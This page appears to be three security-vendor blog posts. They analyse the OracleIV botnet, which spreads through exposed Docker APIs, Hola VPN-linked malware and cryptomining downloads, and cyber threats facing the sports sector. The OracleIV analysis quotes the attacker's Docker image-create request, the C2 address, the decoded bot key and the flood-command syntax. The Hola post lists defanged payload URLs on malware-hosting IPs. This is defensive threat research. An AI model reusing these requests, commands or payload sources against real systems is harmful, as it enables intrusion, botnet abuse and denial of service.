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November 13, 2023

OracleIV: A dockerized DDoS botnet

OracleIV is a DDoS botnet exploiting misconfigured Docker Engine APIs. It delivers a malicious Python ELF executable within a Docker container ("oracleiv_latest") to perform various DoS attacks. The botnet communicates with a C2 server for commands, demonstrating attackers' continued use of exposed Docker instances.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
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13
Nov 2023

Introduction: OracleIV

Researchers from Cado Security Labs (now part of Darktrace) discovered a novel campaign targeting publicly exposed instances of the Docker Engine API.

Attackers are exploiting this misconfiguration to deliver a malicious Docker container, built from an image named "oracleiv_latest" and containing Python malware compiled as an ELF executable. The malware itself acts as a Distributed Denial of Service (DDoS) bot agent, capable of conducting Denial of Service (DoS) attacks via a number of methods.

It’s not the first time the Docker Engine API has been targeted by attackers. This method of initial access has been increasing in recent years and is often used to deliver cryptojacking malware [1]. Inadvertent exposure of the Docker Engine API occurs frequently enough that several unrelated campaigns have been observed scanning for it. 

This should come as no surprise, given the move to microservice-driven architectures by many software teams. Once a valid endpoint is discovered, it’s trivial to pull a malicious image and launch a container from it to carry out any conceivable objective. Hosting the malicious container in Docker Hub, Docker’s container image library, streamlines this process even further.

Initial access

In keeping with other attacks of this kind, initial access typically begins with a HTTP POST request to the /images/create endpoint of Docker’s API. This effectively runs a docker pull command on the host to retrieve the specified image from Docker Hub. A follow-up container start command is then used to spawn a container from the pulled image. 

An example of the image create command used in the OracleIV command can be seen below:

POST /v1.43/images/create?
tag=latest&fromImage=robbertignacio328832/oracleiv_latest 

Malicious Docker hub image

As can be seen in the Docker API command above, the attacker retrieves an image named oracleiv_latest which was uploaded to Docker Hub. This image was still live at the time of writing and had over 3,000 pulls. Furthermore, the image itself appeared to be undergoing regular iteration, with the most recent changes pushed only 3 days prior to the writing of this blog.

The user also added the description Mysql image for docker to the image’s Docker Hub page, likely to make it seem more innocuous.

Examining the image layers reveals commands used by the attacker to retrieve their malicious payload - named oracle.sh, despite being an ELF executable - and bake it into the resulting image.

Image layer RUN command to retrieve malicious payload
Figure 1: Image layer RUN command to retrieve malicious payload

The image also includes additional wget commands to retrieve a copy of XMRig and an associated miner configuration file.

Image layer RUN command to retrieve xmrig miner
Figure 2: Image layer RUN command to retrieve xmrig miner
Image layer RUN command to retrieve miner configuration file
Figure 3: Image layer RUN command to retrieve miner configuration file

It is worth noting that Cado researchers did not observe any mining performed by this malicious container, but with these files baked into the image it would certainly be possible.

Static analysis

Since the bundled version of XMRig is both unused and a vanilla release of the miner, this section will focus on analysis of the oracle.sh executable embedded in the malicious container.

Static analysis of this executable revealed a 64-bit, statically linked ELF, with debug information intact. Further investigation led to the discovery of a number of functions with CyFunction in the name, confirming that the malware is Python code compiled with Cython.

Embedded Cython functions
Figure 4: Embedded Cython functions

The attacker code is relatively concise, the majority of it is dedicated to the different DoS methods present. The following functions were identified:

  • bot.main
  • bot.init_socket
  • bot.checksum
  • bot.register_ssl
  • bot.register_httpget
  • bot.register_slow
  • bot.register_five
  • bot.register_vse
  • bot.register_udp
  • bot.register_udp_pps
  • bot.register_ovh

Functions with the register_ prefix correspond to DoS attack methods, the details of which will be discussed in the following section.

Dynamic analysis

The bot connects back to a Command-and-Control server (C2) at 46.166.185[.]231 on TCP port 40320. It then performs primitive authentication, where the bot supplies the C2 with basic information about its environment in addition to a hardcoded password.

 : client hello from zombie! : X86 : key: b'bjN0ZzM0cnAwd24zZA==' : os: linux

The key decodes to “n3tg34rp0wn3d”. Supplying an incorrect key causes the C2 to reply with a string of expletive language, followed by the connection being terminated.

Following successful authentication, the C2 will continuously send “routine ping, greetz Oracle IV”. This is likely due to an implementation quirk, where many novice programmers new to socket programming will implement the blocking receive operation in a loop and require constant input to keep the loop going.

Cado Security Labs has performed monitoring of the botnet activity and has observed the botnet being used to DDoS a number of targets, with the operator preferring to use a UDP based flood in addition to an SSL based flood.

Botnet commands

C2 commands used to initiate the different DoS attacks take the following form:

<attack type> <target IP/domain> <attack duration> <rate> <target port>

For example, to conduct an SSL DoS attack on the website example.com for 30 seconds, a rate of 30, and on port 80, the C2 server would send the following command:

ssl example.com 30 30 80

Cado Security Labs were able to trick a botnet agent into connecting to a mimic C2 server instead of the real one and issued commands to observe the capabilities of the botnet. The botnet has the following DDoS capabilities:

UDP:

  • Performs a UDP flood with 40,000-byte packets
  • These far exceed the threshold and consequently get fragmented. This will create an additional computational overhead on both the target and source due to the reassembly of fragments, however it is unclear if this is intentional.

UDP_PPS:

  • Seems non-functional, when the command was issued no activity was observed.

SSL:

  • Opens a TCP connection, sends a large amount of data, and then closes. This process then repeats. The Cado dummy target server rejected all the fake requests with an error 400, so it would appear that the attack aims at flooding the target rather than exploiting some protocol specific function.
Tcpdump output for SSL Dos method
Figure 5: Tcpdump output for SSL DoS method

SYN:

  • It was anticipated that this would be a SYN flood, however the observed behavior is identical to SSL.

HTTPGET:

  • Seems non-functional, when the command was issued no activity was observed.

SLOW:

  • This is a “slowloris” style attack. The agent opens up many connections to the server and continuously sends small amounts of data to keep the connection open.

FIVE:

  • This is a UDP flood with 18-byte packets. Likely the packets are a part of the FiveM server protocol, and designed to cause a denial of service a FiveM server

VSE:

  • This is a UDP flood with 20-byte packets. Similar to FIVE, this seems protocol specific to Valve source engine.

OVH:

  • This is a UDP flood with 8-byte packets, designed to circumvent OVH’s DDoS protection.

Conclusion

OracleIV demonstrates that attackers are still intent on leveraging misconfigured Docker Engine API deployments as a means of initial access for a variety of campaigns. The portability that containerization brings allows malicious payloads to be executed in a deterministic manner across Docker hosts, regardless of the configuration of the host itself. 

Whilst OracleIV is not technically a supply chain attack, users of Docker Hub should be aware that malicious container images do indeed exist in Docker’s image library. Cado researchers reported the malicious user behind OracleIV to Docker.

Despite this, users of Docker Hub are encouraged to perform periodic assessments of the images they are pulling from the registry, to ensure that they have not been polluted with malicious code. 

Consistent with other attacks reliant on a misconfigured internet-facing service (e.g. Jupyter, Redis etc), Cado researchers strongly urge users of these services to periodically review their exposure and implement network defenses accordingly.

Indicators of compromise (IoCs)

File name SHA256

oracle.sh (embedded in container) 5a76c55342173cbce7d1638caf29ff0cfa5a9b2253db9853e881b129fded59fb

xmrig (embedded in container) 20a0864cb7dac55c184bd86e45a6e0acbd4bb19aa29840b824d369de710b6152

config.json (embedded in container) 776c6ef3e9e74719948bdc15067f3ea77a0a1eb52319ca1678d871d280ab395c

IP addresses

46[.]166[.]185[.]231

Docker image

robbertignacio328832/oracleiv_latest:latest

References

  1. https://blog.aquasec.com/threat-alert-anatomy-of-silentbobs-cloud-attack
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

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June 16, 2026

Hola VPN Abuse: From Proxy Traffic to Malware and Cryptomining

hola vpn malware cryptominingDefault blog imageDefault blog image

Introduction

In enterprise environments, non-compliant software traffic can introduce unexpected exposure by creating unmanaged paths for outbound connectivity. Hola VPN is a notable example because of its peer-to-peer design, which can effectively turn user devices into routing or exit nodes for other parties’ traffic, shifting the risk profile from that of a traditional virtual private network (VPN) to something closer to a distributed proxy.

As a result, the appearance of Hola-related activity, whether from prior installation or unintended background connections, should be treated with caution.  Such activity may provide a foothold for malicious behavior, including lateral movement or command-and-control communication.

This blog explores how Hola-associated activity appeared as part of broader patterns of suspicious behavior observed across the Darktrace customer base.

The campaign

In February and March 2026, Darktrace observed similar anomalous activity across multiple customer environments, with affected devices showing consistent behavioral patterns. These included connections to multiple *.hola[.]org endpoints using Hola-related user agents, suggesting interaction with Hola infrastructure rather than isolated or incidental traffic.

Following these connections, affected customer environments showed downloads of suspicious executable files from rare external endpoints 188.241.219[.]55 and 184.241.218[.]111. Both endpoints have been flagged as potentially malicious by open-source intelligence (OSINT) [1][2].

These downloads were conducted using consistent user agents across impacted customers, specifically ‘Hola svc_js_win32/1.249.408’ and ‘Hola svc_js_win32/1.251.389’, suggesting a possible association with Hola-related activity.

Notably, this pattern aligns with recent reporting that, in some cases, Hola distributed an undeclared executable component, me[.]exe, which was later assessed to be a likely Monero-mining binary introduced via a compromised delivery pipeline [3].

Case Study 1

Darktrace first observed a new device on January 19, 2026, within a customer environment based in the Europe, Middle East, and Africa (EMEA) region. On the same day it appeared on the network, the device communicated with multiple pieces of Hola VPN-linked infrastructure before downloading a binary from a hola[.]org subdomain.

Cyber AI Analyst investigation highlighting Hola VPN service activity potentially associated with subsequent HTTP command-and-control (C2) connections.
Figure 1: Cyber AI Analyst investigation highlighting Hola VPN service activity potentially associated with subsequent HTTP command-and-control (C2) connections.

Subsequent Darktrace telemetry revealed a recurring pattern of activity from the day the device was first observed through to March 4, 2026. During this period, the device repeatedly issued HTTP GET requests to the URI /bwfile?size=1048576, each returning a 200 OK response, indicating successful file retrieval.

This behavior was accompanied by a POST request to /bwfile, followed by an additional GET request for a significantly larger file at /bwfile?size=26214400, suggesting a deliberate and structured file transfer pattern.

Notably, the binary download activity was not tied to a single static host. Instead, it was observed across multiple URLs that changed over time while remaining within the same hola[.]org domain. This pattern suggests the use of rotating or distributed delivery infrastructure rather than a fixed endpoint.

Variation in URLs over time within the same hola[.]org domain, indicating the use of dynamically changing endpoints.
Figure 2: Variation in URLs over time within the same hola[.]org domain, indicating the use of dynamically changing endpoints.

Across these events, the activity was consistently associated with the user agent Hola svc_js_win32/1.249.408, further linking the traffic to Hola-related service components. Amid these persistent and unusual connections, on February 22, Darktrace observed the device connecting to 188.241.219[.]55/proxy-peer-windows-amd64[.]exe, resulting in the download of an executable file.

 File transfer event showing the download of an executable  from the rare external endpoint 188.241.219[.]55.
Figure 3: File transfer event showing the download of an executable  from the rare external endpoint 188.241.219[.]55.

Based on its file hash, the downloaded file was assessed as a likely Trojan downloader [4], with import hash (imphash) values showing similarities to samples linked to Vidar, Rhadamanthys, and Stealc according to OSINT [5]. Overall, this sequence of activity suggests that Hola-related connectivity may have been leveraged as part of a broader malware delivery chain.

Darktrace’s Autonomous Response

Due to the highly unusual activity observed, Darktrace Autonomous Response was triggered by the device’s behavior. However, as the customer deployment was configured in “Human Confirmation” mode, manual approval was required before any action could be taken.

Had the deployment been set to “Fully Autonomous” mode, Darktrace would have automatically:

  1. Blocked connections to the associated ports and external endpoints
  2. Prevented all outgoing network connections from the device
  3. Enforced the device’s established ‘pattern of life’, allowing normal activity to continue while restricting any anomalous behavior
Figure 4: Example of a Darktrace Autonomous Response model highlighting the action that would have been taken, demonstrating how the system identifies anomalous behavior and applies targeted containment measures to restrict suspicious network activity.

Case Study 2

While the first case focused on anomalous activity from a newly observed device, Darktrace also identified cases in which devices had already been communicating with Hola-related endpoints prior to the suspected campaign. This may suggest pre-existing Hola usage within the environment, potentially increasing exposure and creating an avenue for subsequent suspicious activity.

One case involved three devices within a customer network based in the Americas (AMS). In this instance, a different payload was identified: me[.]exe, a potentially malicious cryptocurrency miner also referred to as HolaMonitorService[.]exe [6][7]. The downloads were observed from infrastructure similar to that seen in Case 1, including an IP address within the same 188.241.0.0/16 subnet.

Connections to *.hola[.]org, alongside the use of potential Hola-related user agents consistent with those in Case 1, were also identified, further suggesting a link between the observed activity and Hola-associated infrastructure.

Darktrace observed activity indicative of unusual VPN usage on the first affected device on February 2, followed by telemetry suggesting potential Tor usage. This was later followed by the download of me[.]exe on March 10 from 188.241.218[.]111. Notably, this device was the earliest among the three within the deployment to exhibit the presence of the suspicious executable.

Figure 5: Cyber AI Analyst detection highlighting the download of a suspicious executable from a similar external endpoint in a separate deployment.

On March 5, 2026, the second affected device exhibited a slightly different progression, initiating connections to http-test1[.]hola[.]org using the user agent ‘hola_get’. This activity was followed by the download of me[.]exe from the same endpoint on March 13, consistent with the broader pattern of Hola-related downloads observed across the environment.

 Example of Hola VPN-related connectivity observed on the network prior to the suspected campaign, indicating pre-existing usage that may have contributed to subsequent activity.
Figure 6: Example of Hola VPN-related connectivity observed on the network prior to the suspected campaign, indicating pre-existing usage that may have contributed to subsequent activity.

The final affected device within this customer’s network demonstrated a more limited but related pattern, also downloading me[.]exe on March 17 using the same ‘hola_get’ user agent.

While the earlier Hola VPN usage observed across the deployment may not have been directly related to the suspected malware campaign, it may nonetheless have contributed to reduced visibility. The presence of pre-existing Hola-related traffic could have obscured malicious activity, making it more difficult to distinguish legitimate usage from attacker-driven behavior and, in turn, hindering the timely identification of the emerging compromise.

Darktrace’s Autonomous Response

For this deployment, the customer had their Autonomous Response capability configured in “Fully Autonomous” mode, allowing Darktrace to take action without human intervention. As a result, the system was able to autonomously disrupt the activity as soon as relevant events were identified through model detections.

Figure 7: Darktrace Autonomous Response actions taken against suspicious activity linked to Hola VPN.

Suspected cryptomining activity

As previously noted, some of the observed executable payloads appear to be linked to cryptomining malware. Across a subset of affected customer environments, this assessment was further supported by subsequent device activity consistent with Monero mining. Affected devices established follow-on connections to multiple external endpoints aligned with known mining infrastructure, indicating post-download execution.

Considering the broader sequence of activity, this pattern may point to a wider form of abuse in which legitimate VPN-related traffic is used to mask or facilitate malicious behavior following compromise.

On several devices, the download of executable files, including a newly observed peer[.]exe, was followed by alerts indicative of cryptocurrency mining activity. Mining-related credentials such as ‘x’ were observed using the Minergate protocol to communicate with endpoints within the 89.125.255.0/24 subnet and 188.241.218[.]111, the same endpoint involved in earlier download activity. Additional credentials appeared to reflect device-specific CPU identifiers, for example ‘12th Gen Intel(R) Core (TM) i5-1235U’.

Observed mining methods included login, submit, and job, consistent with active participation in a pool-based mining workflow rather than passive or incidental contact. The login method indicates that the host authenticated to the mining service as a worker, job reflects the assignment of computational tasks, and submit shows completed work being returned to the pool [8]. This sequence suggests that affected devices were actively contributing processing resources as part of an unauthorized distributed mining operation.

The presence of unauthorized cryptominers can lead to degraded system performance and reduced device stability. Beyond the immediate resource impact, such activity often serves as an indicator of a broader compromise rather than an isolated issue. This may increase the risk of further malware deployment, persistence mechanisms, and lateral movement, particularly in environments where the initial intrusion has not been fully contained.

Conclusion

Across affected environments, detections such as unusual VPN usage, connections to Hola infrastructure, anomalous HTTP activity, suspicious file downloads, and subsequent cryptomining behavior were linked into a single, evolving incident narrative. This aggregation provided a clearer view of attack progression, enabling security teams to understand not just isolated alerts, but the full sequence of compromise from initial contact through to post-exploitation.

Ultimately, these activities show that the risk posed by non-compliant software such as Hola VPN can extend far beyond simple policy violations. What began as traffic to Hola-related infrastructure was, in multiple cases, followed by behavior suggesting deliberate misuse, including suspicious executable downloads using Hola-related user agents and, in some instances, evidence of active cryptomining. These were not isolated anomalies, but elements of a broader pattern in which seemingly benign proxy or VPN-related communications may have created a pathway for malicious delivery and unauthorized resource exploitation.

The significance of this activity lies not only in the downloads or mining, but in what it reveals about an attacker’s ability to blend malicious operations into traffic associated with software that may already have a foothold in the environment. When unapproved software operates within an enterprise, it can reduce visibility, blur the distinction between legitimate and malicious traffic, and create opportunities to extend compromise in ways that are persistent and difficult to detect. Darktrace’s anomaly-based approach enables these behavioral distinctions to be identified, regardless of whether the device is new or long established within the network.

Credit to Min Kim (Associate Principal Analyst), Priya Thapa (Senior Cyber Analyst)
Edited by Ryan Traill (Content Manager)

Appendices

References

[1] https://www.virustotal.com/gui/ip-address/188.241.219.55

[2]  https://www.virustotal.com/gui/ip-address/188.241.218.111

[3] https://www.sophos.com/en-us/blog/you-do-surprise-me-exe-an-unexpected-executable-in-hola-browser

[4] https://www.virustotal.com/gui/file/d275abca286cd75af971d0459fdf1df37c7b19c514abafae5d0b04bf42ccfb45/detection

[5] https://bazaar.abuse.ch/sample/d275abca286cd75af971d0459fdf1df37c7b19c514abafae5d0b04bf42ccfb45/

[6] https://any.run/report/4cdeb5df217764a8b6a20d518b76ccb30cbe623365a13d9dcd40900950f1ed99/de3a756a-3101-4369-8922-52c586c939fb

[7] https://www.virustotal.com/gui/file/e3541caf708c075f0bb22fc68b03acd8457fea7cf0732ea935b1eb016d1c7721/community

[8] https://bitcoinwiki.org/wiki/stratum

Darktrace Model Detections

·      Anomalous File / EXE from Rare External Location

·      Anomalous File / Multiple EXE from Rare External Locations

·      Compromise / Crypto Currency Mining Activity

·      Compromise / High Priority Crypto Currency Mining (EM)

·      Device / New User Agent

·      Anomalous Connection / New User Agent to IP Without Hostname

·      Antigena / Network / Significant Anomaly / Antigena Controlled and Model Alert

·      Antigena / Network / Significant Anomaly / Antigena Alerts Over Time Block

·      Antigena / Network / External Threat / Antigena Tor Block

·      Antigena / Network / External Threat / Antigena File then New Outbound Block

·      Antigena / Network / External Threat / Antigena Suspicious Activity Block

·      Antigena / Network / External Threat / Antigena Suspicious File Pattern of Life Block

·      Antigena / Network / External threat / Antigena Suspicious File Block

Indicators of Compromise (IoCs)

IoC –Type -Description + Confidence

188.241.219[.]55 - IP Address - Malware distribution source

188.241.218[.]111 - IP Address -Malware distribution source

hxxp://188.241.218[.]111:8080/me[.]exe - URI - Malicious payload

hxxp://188.241.219[.]55:9000/proxy-peer-windows-amd64[.]exe - URI - Malicious payload

hxxp://188.241.219[.]55:9000/peer[.]exe - URI - Malicious payload

C8088f3c8bc3542eb1ad78a7cc5306d866c8ac81 - SHA1 - Malicious payload, me[.]exe

b595a6de0f6a18975b29e6f8ebe604956a173478 - SHA1 - Malicious payload, me[.]exe

e9139a2e0839e8b9e5c9787ea936347ae56e5460 - SHA1 - Possible malicious payload

c2e80073e4cafe757d5643bd8fd45f28ad89bff9 - SHA1 - Possible malicious payload

695355eceedcdd337d8fcbd35e6a531cda75b847 - SHA1 - Possible malicious payload

f0b0d8068a1b9ab5d68a8a46842d72b870b292e7 - SHA1 - Possible malicious payload

a21c8b8cabc7670ea45bc175e185a0f9bfcf4733 - SHA1 - Malicious payload, me[.]exe

0353ca44b9f397d8f492db0b2f7a1d00a9e4406a - SHA1 - Possible malicious payload

56824c8a110e35ab303dc27a6c758cd50c36174c - SHA1 - Malicious payload, peer[.]exe

c141fa0fa505fe7f9ad5dd21d9d4d6d411739682 - SHA1 - Malicious payload, peer[.]exe

0417ec988b16f1267065185a6eea98f0bd2e17cd - SHA1 - Possible malicious payload

c54f7eaaeb3e0b528cd2584bdcb3a4b13cc0f8a2 - SHA1 - Malicious payload, peer[.]exe

11c78f15fafd53f8cc5a52b828d7cbf2a99e0b09 - SHA1 - Malicious payload, peer[.]exe

0258bf7dbb0123247db29e8799991140bbdbd9bb - SHA1 - Malicious payload, proxy-peer-windows-amd64[.]exe

b46043a06dd9bbd63e4214d5fbc7fd56e1ff0618 - SHA1 - Possible malicious payload

753afdecd9f5402d004e8e5f768170ae9a468ca5 - SHA1 - Possible malicious payload

8f533c7cb1524b00f7b0311c2ea8603298d6b2ca - SHA1 - Possible malicious payload

3a3bc6a5b4db1a4e961abcb002d26fe9d5e5c349 - SHA1 - Possible malicious payload

897f70eb41d302b045fcb05ed0693675e778ce57 - SHA1 - Possible malicious payload

6ddd5644809606e3dc1e2cc06059c3f5e6176f85 - SHA1 - Malicious payload, proxy-peer-windows-amd64[.]exe

68a94f7cdcaf8853ea99251c1ecc67ae9b32eba8 - SHA1 - Malicious payload, proxy-peer-windows-amd64[.]exe

MITRE ATT&CK Mapping

T1659 -Initial Access, Command and Control -Content Injection

T1588.001 -Resource Development -Malware

T1189 -Initial Access -Drive-by Compromise

T1105 -Command and Control -Ingress Tool Transfer

T1657 -Impact -Financial Theft

T1497.001 -Impact -Compute Hijacking

T1496 -Impact -Resource Hijacking

T1210 -Lateral Movement -Exploitation of Remote Services

T1036.012 -Stealth -Browser Fingerprint

T1071.001 -Command and Control -Web Protocols

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About the author
Min Kim
Cyber Security Analyst

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June 12, 2026

Cybersecurity for the Sports Sector: The Threats Facing a Digitized Industry in 2026

Sports Stadium cybersecurityDefault blog imageDefault blog image

Securing sporting events in 2026

When you walk into a stadium on game day, you are entering a small smart city. Ticketing, turnstiles, payments, public Wi-Fi for tens of thousands of fans, CCTV, lighting, even the HVAC all run on connected systems. The experience for fans has become unmatched, but that dependency has created a much larger attack surface than people may realize.

Our latest threat research backs that up. In the past year, a survey that Darktrace commissioned found that 84% of respondents from professional sports organizations had at least one cyber incident, and 57% were hit more than once. For a sector that relies on the impact of the live moment, those numbers translate directly into operational risk.

Why sports is a target for cyber attacks

Sport is a highly visible target with fixed timelines, so attackers know exactly when disruption will have the most impact. It also holds valuable data, athlete medical records, contracts, sponsorship deals, which carry financial, reputational, and regulatory risk if exposed. At the same time, delivery depends on a wide set of third parties: ticketing providers, broadcasters, cloud services, stadium technology. Any of those connections can become an entry point. Put visibility, timing, data, and dependency together, and you get an environment where even a small foothold can turn into a visible, time-critical incident.

How attackers target email and identity

Email and identity remain the front door. From October 2025 through March 2026, Darktrace / EMAIL™ detected more than 116,000 phishing emails aimed at sports organizations across our customer base, and our sports customers received 19% more phishing emails than organizations in other sectors. The numbers tell the story:

BY THE NUMBERS

  • 21% of phishing emails were aimed at VIPs.
  • 37% used novel social engineering.
  • 84% of malicious emails passed DMARC authentication

A large proportion of these emails passed authentication checks, which means traditional security controls are no longer a reliable barrier. Attackers are not relying on spoofed domains – they're using legitimate infrastructure and trusted platforms. Behavior matters. Once an account is compromised, the behavior shifts quickly. Login patterns change, inbox rules are created to hide responses, and accounts start being used for internal discovery or further phishing. These aren’t high-noise events. They sit in normal workflows, which is why they’re often missed.

Ransomware tells a similar story. In one case inside a sports deployment, attackers had quietly been moving data to an outside server for a full two weeks before they triggered encryption. By the time the ransom note appeared, the outcome was already set. That sequence shows up consistently is access first, movement next, disruption last. If detection starts at encryption, it’s already too late.

Why AI is an emerging blind spot in sports

The increasing adoption of AI is expanding the potential attack surface. 72% of the security professionals we surveyed expect AI to increase their cyber risk over the next year, and yet 35% are already using or planning to use it in stadium operations, the most critical functions to protect. In addition to prompt injection and AI build risks, shadow AI is becoming a more immediate issue. Staff are already putting sensitive data—performance metrics, scouting reports, contracts, health data—into tools with little or no governance. The upside is clear, but so is the exposure—and it is happening before most organizations have any visibility or control. At the same time, attackers are using the same technology to scale phishing and social engineering. The net effect is simple: more exposure, at higher speed.

How can cybersecurity professionals prepare

Across high profile events, Darktrace’s experience shows that effective cyber defense includes preparation, real‑time visibility, and the ability to respond dynamically and decisively when timing, complexity, and public exposure converge.

There are a few strategic implications for cybersecurity teams:

  • Get behavioral visibility across IT and OT, not just corporate systems.
  • Treat identity as your control plane. Most attacks in this sector start with credentials, not malware. MFA with behavioral detection helps solve that challenge.
  • Control third party and AI access the same way you control your own environment.
  • Rehearse response for live conditions, where decisions happen in minutes. Detection and response need to account for non-ideal conditions when engineers are under pressure and time constrained. In sport, timing is what turns small issues into major incidents. The same activity that would be manageable midweek becomes critical during a live event.

Why 2026 raises the cybersecurity stakes for sports

With the 2026 World Cup about to stretch across three countries and dozens of host cities, the attack surface is wide and the schedule is unforgiving.

Geopolitical signaling is raising the threat profile further. Previous international sporting events have demonstrated that nation‑state actors use the cyber domain to signal intent, influence narratives, or retaliate symbolically. In the context of the 2026 World Cup, Russia’s continued exclusion from international sport, the ongoing conflict in Ukraine, US defensive support to Ukraine, and Iran’s likely participation in the tournament introduce additional motivations for state‑aligned and non‑traditional affiliated actors to operate below the threshold of armed conflict. This doesn’t require new techniques—just the right timing and visibility.

In practice, this comes down to preparation: knowing what normal looks like across IT and OT, controlling third-party access, and spotting when behavior shifts.

In sport, disruption does not build slowly—it happens in real time and in public. By that point, the groundwork has already been set, long before the whistle goes.

About this research

Findings are based on Darktrace threat-research telemetry across sports-sector customer deployments (Q4 2025–Q1 2026) and a survey of 875 IT cybersecurity professionals in the US, UK, Australia, and Germany, fielded by Opinion Matters between May 28 and June 3, 2026. Read the full report for complete methodology, incident analysis, and strategic recommendations.

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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